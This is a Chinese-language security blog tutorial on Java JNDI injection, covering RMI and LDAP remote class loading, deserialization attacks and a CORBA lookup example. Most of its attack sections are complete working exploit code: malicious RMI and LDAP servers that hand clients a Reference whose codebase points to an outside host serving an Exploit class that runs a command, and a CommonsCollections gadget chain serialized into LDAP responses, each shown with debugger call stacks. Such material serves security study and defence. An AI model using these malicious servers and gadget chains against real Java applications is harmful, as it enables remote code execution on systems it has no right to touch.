Loading

java-JNDI (一)攻击流程

java-JNDI基础

概述

JNDI 结构图

image-20250312101859897

来自 WIKI 的解释是这样的:

Java 命名和目录接口(JNDI)是用于目录服务的 Java API,它允许 Java 软件客户端通过名称发现和查找数据和资源(以 Java 对象的形式)。与所有与主机系统接口的 Java API 一样,JNDI 独立于底层实现。此外,它还指定了一个服务提供商接口(SPI),允许将目录服务实现插入该框架。 [1] 通过 JNDI 查询的信息可以由服务器、平面文件或数据库提供;具体选择取决于所使用的实现。

JNDI 可访问的目录及服务有: JDBC、LDAP、RMI、DNS、NIS、CORBA 等

轻型目录访问协议 (LDAP)
通用对象请求代理架构 (CORBA) 通用对象服务 (COS) 名称服务
Java 远程方法调用 (RMI) 注册表
域名服务 (DNS)

简单来说就是:JNDI 抽象了底层目录服务,使得无需更改代码即可切换使用不同的服务,远程实现类加载。他的作用就像是你看一本书,要找到具体的内容你得先查看目录,而 JNDI 就是查询目录的作用

存在漏洞注入的版本

JDK6 JDK7 JDK8 JDK11
RMI 可用 6u132 以下 7u122 以下 8u113 以下
LDAP 可用 6u211 以下 7u201 以下 8u191 以下 11.0.1 以下

JDK 6u211、7u201、8u191、11.0.1 起,JDK 引入了一个系统属性 com.sun.jndi.ldap.object.trustURLCodebase,默认设为 false,禁止 LDAP 等协议使用远程 Codebase 加载外部类。

我这里演示的版本为 7u80

image-20250311163924621

JNDI 攻击方式

RMI:

  • JNDI Reference
  • Remote Object

LDAP:

  • Serialized Object
  • JNDI Reference
  • Remote Location

CORBA:

  • IOR

这边文章主要演示RMI和LDAP,这也是最主流的JNDI利用方式

JDNI 初始化

如果不设置 env 的话,JNDI 服务默认会去自动搜索 系统属性(System.getProperty())applet 参数应用程序资源文件(jndi.properties)

// 创建环境变量对象
Hashtable env = new Hashtable();

// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");

// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "url");

// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);

JNDI-协议转换

如果 JNDIlookup 时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。

JNDI 默认支持自动转换的协议有:

协议名称 协议 URL Context 类
DNS 协议 dns:// com.sun.jndi.url.dns.dnsURLContext
RMI 协议 rmi:// com.sun.jndi.url.rmi.rmiURLContext
LDAP 协议 ldap:// com.sun.jndi.url.ldap.ldapURLContext
LDAP 协议 ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP 对象请求代理协议 iiop:// com.sun.jndi.url.iiop.iiopURLContext
IIOP 对象请求代理协议 iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP 对象请求代理协议 corbaname:// com.sun.jndi.url.corbaname.corbanameURLContextFactory

让我们来看一个简单的示例

利用 JNDI 查询 dns

package com.lingx5;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDItest {
    public static void main(String[] args) {
        String url = "dns://pyieas.dnslog.cn" ;
        try {
            InitialContext context = new InitialContext();
            context.lookup(url);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

这就是我们在挖掘 JNDI 漏洞时,经常使用的漏洞验证方式

可以看到 dnslog 平台,收到请求

image-20250311181921432

JNDI-RMI 类加载实现 RCE

攻击基本流程

image-20250311185856991

咦~,你是不是有一个疑问,为什么这么麻烦,还要两个服务器。怎么不让 RMI 直接给 JNDI 返回恶意类呢?

这就涉及到攻击场景的不同

  1. 其实 JNDI 去查询一个恶意的 RMI 服务器也是可以实现 RCE 的,但是这仅仅是 RMI 的反序列化利用。因为 JNDI 在执行 lookup 方法的时候,会去获得 RMI 的 registryImpl_Stub 让后去查询 RMI 服务器。但是这要求 JNDI 服务器必须有 CommonsCollections 库的引用

  2. 而 JNDI 还存在另一种机制,不需要依赖外部的库就可以实现 RCE,JNDI 可以查询引用,让 RMI 服务器返回一个带有恶意 codebase 地址的 Reference 引用对象。客户端会解析 Reference,接着根据 codebase 的信息 加载并实例化恶意的远程类对象。

一种是反序列化,而第二种是类加载。本质上有所区别

RMIServer

package com.lingx5;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            // 创建JNDI引用
            Reference ref = new Reference("Exploit" 	// className (可省略或伪造)
                                          , "Exploit",  // factoryClassName 必须与恶意类名一致
                         "http://lingx5.dns.army:8000/" // codebase(指向恶意类的远程地址)
                                         );
            // 封装Reference对象
            ReferenceWrapper refWrapper = new ReferenceWrapper(ref);
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("Exploit",refWrapper);
            System.out.println("RMI registry started at 1099.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

JNDIvuln

package com.lingx5;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIvuln {
    public static void main(String[] args) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("rmi://localhost:1099/Exploit");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Exploit

import java.io.IOException;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

这个文件头是不能有 package 字段的,否则 JNDI 服务器加载不了这个类,也就无法复现成功

编译成 Class 的 jdk 版本要与运行版本一致,还有就是自己本地的 Exploit 的要删掉。因为 JNDI 会先去加载自己本地的类,本地没有才会去加载远程服务器的类(这个源码分析会讲到)

成功发送请求,并执行了 calc 命令

公网服务器接收到请求

image-20250311211751509

image-20250311204354838

JDK 6u132/7u122/8u113 后,默认禁用远程类加载(com.sun.jndi.rmi.object.trustURLCodebase=false)。

源码分析

我们看看 JNDI 配合 RMI 是如何导致 RCE 的

context.lookup("rmi://localhost: 1099/Exploit");

getURLOrDefaultInitCtx

我们在 lookup 打断点,一步一步调试,首先我们会进入 javax.naming.InitialContext#getURLOrDefaultInitCtx(java.lang.String)方法,自动获取 RMIURLContextFactory 对象,进而获得 RMIURLContext 对象

image-20250312140707194

进入先获取工厂,然后通过工场获取 Context

image-20250312141440607

getURLOrDefaultInitCtx(name) 最终等于 RMIURLContext,我们接下来看 lookup() 方法

lookup

我们跟进看看

来到了 com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)

image-20250312143355619

我们看到 var2 就是我们在 RMIServer 定义的远程恶意对象(Exploit.class)的引用封装对象的代理(ReferenceWrapper_Stub)

我们接下来跟进 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 的逻辑,看看是怎么触发漏洞的

private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
        return NamingManager.getObjectInstance(var3, var2, this, this.environment);
    } catch (NamingException var5) {
        throw var5;
    } catch (RemoteException var6) {
        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
    } catch (Exception var7) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var7);
        throw var4;
    }
}

它调用了 javax.naming.spi.NamingManager#getObjectInstance 我们继续跟进

image-20250312145534810

javax.naming.spi.NamingManager#getObjectFactoryFromReference 步入看一下

image-20250312152120920

接着往下,利用 codebase 机制,远程加载类

image-20250312152253269

最终在 com.sun.naming.internal.VersionHelper12#loadClass(java.lang.String, java.lang.ClassLoader) 完成类加载和初始化,执行静态代码块的恶意代码

image-20250312152554449

image-20250312153424111

调用栈拿出来看一下吧

loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:9, JNDIvuln (com.lingx5)

JNDI-RMI 反序列化实现 RCE

对 RMI 不熟悉的,可以去看我的这篇文章

java-rmi 反序列化 - Ling-X5 - 博客园

先熟悉一下 RMI 的反序列流程

EvilRMIRegistry

添加 commons-collections 依赖

<dependencies>
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>
  </dependencies>

这里依旧用的自己写的恶意的 RMIServer,当然你也可以使用 ysoserial 提供的 RMI 恶意服务器

package com.lingx5.RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class EvilRMIRegistry {

    public static void main(String[] args) throws Exception {
        // 1. 构造命令执行链
        Transformer[] transforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"}) // 弹出计算器
        };
        ChainedTransformer chain = new ChainedTransformer(transforms);

        // 2. 创建 LazyMap 并设置触发键
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lingx5");
        Map<Object, Object> map = new HashMap<>();
        map.put(tiedMapEntry, "lingx5");

        // 3. 反射修改 LazyMap 的 factory 为恶意链
        Field factoryField = LazyMap.class.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chain);
        lazyMap.remove("lingx5");

        // 4. 创建 AnnotationInvocationHandler 代理
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, map);

        // 5. 创建动态代理对象(使用 Retention 接口)
        Class<?> retentionClass = Retention.class;
        Remote remoteProxy = (Remote) Proxy.newProxyInstance(
                retentionClass.getClassLoader(),
                new Class[]{Remote.class, retentionClass}, // 实现 Remote 和 Retention 接口
                handler
        );

        // 6. 启动 RMI 注册中心
        Registry registry = LocateRegistry.createRegistry(1099);

        // 7. 反射注入恶意对象到注册中心的 bindings
        Field bindingsField = registry.getClass().getDeclaredField("bindings");
        bindingsField.setAccessible(true);
        Map<String, Remote> bindings = (Map<String, Remote>) bindingsField.get(registry);
//        bindings.put("Exploit", remoteProxy); // 绑定恶意对象到名称 "Exploit"
        registry.bind("Exploit", remoteProxy);
        System.out.println("RMI 注册中心已启动");
        // 保持注册中心运行
        Thread.currentThread().join();

    }
}

JNDIvuln

package com.lingx5;

import javax.naming.InitialContext;

public class JNDIvuln {
    public static void main(String[] args) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("rmi://localhost:1099/Exploit");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20250312153824384

其实我们之前在 JNDI-RMI 类加载实现 RCE 已经有过介绍了

在 lookup 的第一步,执行 com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name) 会去执行 RegistryImpl_Stub.lookup() 方法,触发 RMI 反序列化攻击,有兴趣可以去看我 RMI 的文章,这里就不过多介绍了。

JNDI-ldap三种攻击来源

其实就是因为JDNI支持解析三种对象,在com.sun.jndi.ldap.Obj#decodeObject中有所体现

static Object decodeObject(Attributes var0) throws NamingException {
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

    try {
        Attribute var1;
        if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
            ClassLoader var3 = helper.getURLClassLoader(var2);
            //反序列化
            return deserializeObject((byte[])var1.get(), var3);
        } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
            // 远程对象
            return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
        } else {
            var1 = var0.get(JAVA_ATTRIBUTES[0]);
            // 远程引用
            return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
        }
    } catch (IOException var5) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var5);
        throw var4;
    }
}

JNDI-ldap 类加载实现 RCE

我这里用 java 启动一个 ldap 服务

添加依赖

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>6.0.0</version>
</dependency>

MaliciousLDAPServer

package com.evil;

import com.unboundid.ldap.listener.*;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.*;
import java.net.InetAddress;
public class MaliciousLDAPServer {

    private static final int LDAP_PORT = 1389;
    private static final String MALICIOUS_CODEBASE = "http://lingx5.dns.army:8000/";

    /**
     * 主函数,用于启动一个内存中的LDAP服务器,并配置恶意的JNDI Reference拦截器。
     * 
     * @param args 命令行参数,未在代码中使用。
     * @throws Exception 如果在配置或启动LDAP服务器时发生错误,则抛出异常。
     */
    public static void main(String[] args) throws Exception {
        // 配置内存中的LDAP服务器,设置基础DN为"dc=example,dc=com"
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        
        // 设置监听器参数:绑定所有IP,端口1389
        config.setListenerConfigs(
            new InMemoryListenerConfig(
                "malicious",                 // 监听器名称
                InetAddress.getByName("0.0.0.0"), // 监听所有网络接口
                LDAP_PORT,                   // 端口号
                null,                        // 无SSL加密
                null, 
                null
            )
        );
        // 添加自定义的操作拦截器,用于处理LDAP搜索请求
        config.addInMemoryOperationInterceptor(new InMemoryOperationInterceptor() {
            @Override
            public void processSearchResult(InMemoryInterceptedSearchResult result) {
                try {
                    // 构造恶意LDAP条目
                    Entry entry = new Entry("cn=exploit,dc=example,dc=com");
                    // 关键!标识为JNDI引用
                    entry.addAttribute("objectClass", "javaNamingReference");
                     // 类名(其实可有可无)
                    entry.addAttribute("javaClassName", "Exploit"); 
                    // 工厂类名(触发类加载需要与恶意类名一致)
                    entry.addAttribute("javaFactory", "Exploit");      
                    // 恶意类远程地址
                    entry.addAttribute("javaCodeBase", MALICIOUS_CODEBASE);    

    
                    // 将构造的恶意条目发送给客户端
                    result.sendSearchEntry(entry);
                    result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
                    
                    // 打印日志,表明恶意JNDI Reference已发送
                    System.out.println("[+] Sent malicious JNDI Reference");
                } catch (Exception e) {
                    // 捕获并打印异常信息
                    e.printStackTrace();
                }
            }
        });
    
        // 创建并启动内存中的LDAP服务器
        InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
        server.startListening();
        
        // 打印日志,表明LDAP服务器已启动并监听指定端口
        System.out.println("[+] LDAP Server running on port " + LDAP_PORT);
    }
}

JNDIvuln

package com.lingx5;

import javax.naming.InitialContext;

public class JNDIvuln {
    public static void main(String[] args) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

请求成功

image-20250312205822986

执行命令成功

image-20250312205019740

源码分析

我们在 lookup 打断点,一步一步跟进一下

context.lookup("ldap://localhost: 1389/cn = exploit, dc = example, dc = com");

这时候我们的 getURLOrDefaultInitCtx(name) , 会被封装为 ldapURLContext,和 RMI 很相似,就不跟进了。我们直接看 lookup 方法

image-20250313091340039

lookup

前边的调试内容大体一样,我们跟进会来到 com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup(javax.naming.Name) 这个方法

image-20250313093456320

它内部有调 com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup 方法,我们跟进会发现它会调用 com.sun.jndi.ldap.LdapCtx#c_lookup 而这个 c_lookup()方法,正式 LDAP 真正查询和解析对象的方法,也就是漏洞产生点。

image-20250313095027730

跟进 com.sun.jndi.ldap.Obj#decodeObject 他调用的了com.sun.jndi.ldap.Obj#decodeReference 把我们恶意Regerence解析,把解析完成的对象赋值给了var3

image-20250313095918759

来到javax.naming.spi.DirectoryManager#getObjectInstance这个方法,尝试加载远程工厂

image-20250313100236490

最后进入了 javax.naming.spi.NamingManager#getObjectFactoryFromReference 这个方法,调用loadClass() 加载远程恶意类

image-20250313100851955

最后由com.sun.naming.internal.VersionHelper12#loadClass(java.lang.String, java.lang.ClassLoader) 执行Class.forName(className, true, cl) 完成恶意类的初始化,执行恶意的静态代码块。

image-20250313100938756

完整的调用栈拿出来看一下

loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
main:10, JNDIvuln (com.lingx5)

代码执行

image-20250313101025421

JNDI-ldap 反序列化实现 RCE

其实和之前的恶意攻击类似,不过就是在ldap服务器中加入了反序列的gadget链

serLDAPServer

这里依然使用CC6链条,进行攻击演示

package com.evil;

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.util.HashMap;
import java.util.Map;

public class serLDAPServer {

    // 创建一个恶意的HashMap对象,该对象在序列化时会触发命令执行
    public Map gadget() throws Exception {
        // 定义一个Transformer数组,用于构建ChainedTransformer
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc.exe"})
        };
        // 创建一个ChainedTransformer对象
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        // 创建一个LazyMap对象,并设置其factory为ConstantTransformer
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
        // 创建一个TiedMapEntry对象,并将其放入HashMap中
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lingx5");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "lingx5");
        // 修改LazyMap的factory属性为ChainedTransformer
        Field factory = lazyMap.getClass().getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap, transformerChain);
        // 触发LazyMap的get方法,从而执行命令
        lazyMap.remove("lingx5");
        return hashMap;
    }

    // 序列化对象为字节数组
    private static byte[] serialize(Object obj) throws Exception {
        try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(obj);
            return bos.toByteArray();
        }
    }

    public static void main(String[] args) throws Exception {
        // 创建一个恶意的HashMap对象
        final HashMap map = (HashMap) new serLDAPServer().gadget();

        // 配置LDAP服务器
        InMemoryDirectoryServerConfig directoryServerConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        directoryServerConfig.setListenerConfigs(
                new InMemoryListenerConfig(
                        "malicious",
                        InetAddress.getByName("0.0.0.0"),
                        1389,
                        null,
                        null,
                        null
                )
        );
        // 添加一个操作拦截器,用于在搜索结果中插入恶意数据
        directoryServerConfig.addInMemoryOperationInterceptor(new InMemoryOperationInterceptor() {
            @Override
            public void processSearchResult(InMemoryInterceptedSearchResult result) {
                try {
                    // 创建一个包含恶意数据的LDAP条目
                    Entry entry = new Entry(
                            "cn=exploit,dc=example,dc=com",
                            new Attribute("objectClass", "top", "javaContainer", "javaSerializedObject"),
                            new Attribute("javaClassName", "Exploit"),
                            new Attribute("javaSerializedData", serialize(map))
                    );
                    // 发送恶意LDAP条目
                    result.sendSearchEntry(entry);
                    result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        });

        // 启动LDAP服务器
        com.unboundid.ldap.listener.InMemoryDirectoryServer ds = new com.unboundid.ldap.listener.InMemoryDirectoryServer(directoryServerConfig);
        System.out.println("LDAP server started on port 1389");
        ds.startListening();
    }
}

JNDIvuln

package com.lingx5;

import javax.naming.InitialContext;

public class JNDIvuln {
    public static void main(String[] args) {
        try {
            InitialContext context = new InitialContext();
            context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行结果,成功弹出计算机

image-20250313165950834

源码分析

调试过程基本上是一样的,看一下最后的调用栈就好了

最终就是进入了com.sun.jndi.ldap.Obj#decodeReference 执行了readOject()方法

image-20250313181811321

deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeObject:238, Obj (com.sun.jndi.ldap)
c_lookup:1052, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
main:10, JNDIvuln (com.lingx5)

JNDI-RemoteLocation攻击

其实RemoteLocation和引用远程类加载很相似,基本上就是一模一样,这里就不在详细说明了

CORBA

其实 CORBA 协议在企业产品中已经很少用了,因复杂性高、功能局限和现代替代方案的出现,仅在少数遗留系统中存在。我们这里就简单说一下

来自 白皮书 中的介绍是这样的:

通用对象请求代理体系结构(CORBA)是由对象管理组织(OMG)制定的一项标准,旨在促进部署于不同操作系统、编程语言及计算硬件的系统间通信。CORBA 通过接口定义语言(IDL)规范对象对外呈现的接口定义,并规定了将 IDL 映射至具体实现语言(如 Java)的转换规则。根据 CORBA 规范要求,应用程序必须通过对象请求代理(ORB)与其他对象进行交互。为实现 ORB 间的跨域通信,通用 ORB 间协议(GIOP)作为抽象协议被创建,其衍生出多种具体协议,包括互联网 ORB 间协议(IIOP)。IIOP 作为 GIOP 在互联网环境下的具体实现,通过定义 GIOP 消息与 TCP/IP 协议栈之间的映射关系,为分布式对象通信提供了标准化网络传输机制。

我们简单写一个示例:

(我这里用的jdk1.8版本,CORBA在不同版本需要配置依赖,但JDK8中集成了,就方便点)

首先我们要编写一个 idl 文件

Hello.idl

module HelloApp {
    interface Hello {
        string sayHello();
    };
};

我们利用 jdk 的编译器,生成对应的 Stub 和 Skeleton

idlj -fall .\Hello.idl

会生成一个HelloApp文件夹,里面有CORBA需要的代码

image-20250314164849424

接着我们编写一个Hello的实现,我们只需要继承HelloPOA即可。

HelloImpl

import HelloApp.HelloPOA;
import org.omg.CORBA.ORB;

public class HelloImpl extends HelloPOA {
    private org.omg.CORBA.ORB orb;

    public void setOrb(ORB orb) {
        this.orb = orb;
    }
    public ORB getOrb() {
        return orb;
    }

    @Override
    public String sayHello() {
        return "hello corba";
    }
}

接着编写CORBA的服务端

HelloServer

import HelloApp.Hello;
import HelloApp.HelloHelper;
import org.omg.CORBA.ORB;
import org.omg.CORBA.Object;
import org.omg.CosNaming.NameComponent;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
import org.omg.PortableServer.POA;
import org.omg.PortableServer.POAHelper;

import java.util.Properties;

public class HelloServer {
    /**
     * 主程序入口
     * 初始化CORBA环境,并绑定服务到命名服务中
     * @param args 命令行参数
     * @throws Exception 如果初始化过程中发生错误,则抛出异常
     */
    public static void main(String[] args) throws Exception {
    
        // 创建并设置CORBA ORB的属性
        Properties properties = new Properties();
        properties.put("org.omg.CORBA.ORBInitialHost", "localhost");
        properties.put("org.omg.CORBA.ORBInitialPort", "1050");
        // 初始化ORB
        ORB orb = ORB.init(args, properties);
        // 获取RootPOA并激活其管理器
        POA rootPOA = POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
        rootPOA.the_POAManager().activate();
        // 创建Hello服务的实现实例
        HelloImpl hello = new HelloImpl();
        hello.setOrb(orb);
        // 将Hello服务实例转换为CORBA对象引用
        Object ref = rootPOA.servant_to_reference(hello);
        Hello href = HelloHelper.narrow(ref);
        // 获取命名服务引用
        Object objRef = orb.resolve_initial_references("NameService");
        NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
        // 定义服务名称并绑定到命名服务
        String name = "Hello";
        NameComponent[] refName = ncRef.to_name(name);
        ncRef.rebind(refName, href);
        // 输出服务就绪信息
        System.out.println("HelloServer ready and waiting ...");
        // 运行ORB以保持服务监听状态
        orb.run();
    }
}

JNDIvuln

客户端,用JNDI进行查询

import HelloApp.Hello;
import HelloApp.HelloHelper;
import org.omg.CORBA.Object;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;

public class JNDIvuln {
    public static void main(String[] args) {
        try {
            // 设置JNDI环境属性
            Properties properties = new Properties();
            properties.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.cosnaming.CNCtxFactory");
            properties.put(Context.PROVIDER_URL, "corbaloc::localhost:1050");

            // 创建初始上下文
            InitialContext context = new InitialContext(properties);

            // 查询CORBA服务对象
            Hello hello = HelloHelper.narrow((Object) context.lookup("Hello"));

            // 调用远程方法
            String message = hello.sayHello();
            System.out.println("Message from server: " + message);

        } catch (NamingException e) {
            System.err.println("NamingException: " + e.getMessage());
            e.printStackTrace();
        } catch (Exception e) {
            System.err.println("Exception: " + e.getMessage());
            e.printStackTrace();
        }
    }
}

现在我们的例子已经编写完毕了,我们先开启命名服务, 提供 CORBA 对象的命名和查找功能

orbd -ORBInitialPort 1050 -ORBInitialHost localhost

开启之后我们会生成这样一个文件夹

image-20250314170938396

接着启动HelloServer,用客户端进行查询

image-20250314171030397

image-20250314171044833

成功远程调用

总结

基础的 JNDI 我们学完了,现在以及知道 JNDI 的基本利用方式了。这部分内容还是比较简单的,学习也是很快的 😄

参考文章

Exploiting JNDI Injections in Java

https://www.javasec.org/javase/JNDI/

深入理解 JNDI 注入与 Java 反序列化漏洞利用 - 博客 - 腾讯安全应急响应中心

us-16-MunozMirosh-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE

Microsoft Word - us-16-MunozMirosh-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.docx

文章 - JNDI 注入分析 - 先知社区

Java CORBA(对于 CORBA 不理解的可以参考这篇文章)

古老的馈赠之CORBA漏洞分析 | Halfblue

posted @ 2025-03-14 15:50  LingX5  阅读(63)  评论(0)    收藏  举报